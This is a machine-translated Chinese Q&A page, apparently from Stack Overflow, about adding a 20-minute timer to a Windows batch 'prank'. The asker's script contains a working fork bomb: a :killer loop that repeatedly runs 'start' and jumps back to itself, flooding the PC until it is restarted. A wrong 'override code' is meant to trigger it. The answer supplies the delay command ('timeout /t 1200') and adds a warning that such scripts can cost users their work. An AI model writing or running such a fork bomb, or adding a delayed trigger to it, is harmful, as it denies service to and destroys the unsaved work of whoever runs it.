如何批量添加计时器

时间:2016-02-10 11:50:11

标签: batch-file

我目前正在处理批处理并做了一个恶作剧的事情(有义务关闭你的电脑)和一个覆盖部分让我把所有的代码都还给我,所以我想让错误代码的人在20岁时激活我的恶作剧几分钟我想建议怎么做?

:system
cls
set /p assurance=are you sure you want to do this (I AM NOT RESPONSIBLE FOR ANY DAMAGE DONE BY THIS COMMAND IF YOU ACCEPT TO MOVE ON.I WARN YOU THE ONLY WAY TO STOP THIS COMMAND IS RESTART YOUR PC.) 

echo -accept and move on
echo or
echo -stop this command
pause
if %assurance%==accept and move on goto initiate
if %assurance%==stop this command goto home
:wrong
cls
echo you have 20 minutes 
:initiate
cls
echo KILL CODE ACTIVATED ACTIVATED HAVE FUN!!!
:killer
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
goto killer


:override
cls
echo i need the override code to activate this command.
set /p code=code:

if %code%==42 is the answer to life but my answer is 2029 goto right
if not %code%==42 is the answer to life but my answer is 2029 goto wrong

:right

1 个答案:

答案 0 :(得分:2)

使用timeout

timeout /t 1200 :: Waits twenty minutes.

顺便说一句,你不应该写这样的脚本。它们并不好笑,并且可能导致您运行它们的计算机的当前用户失去工作或更糟。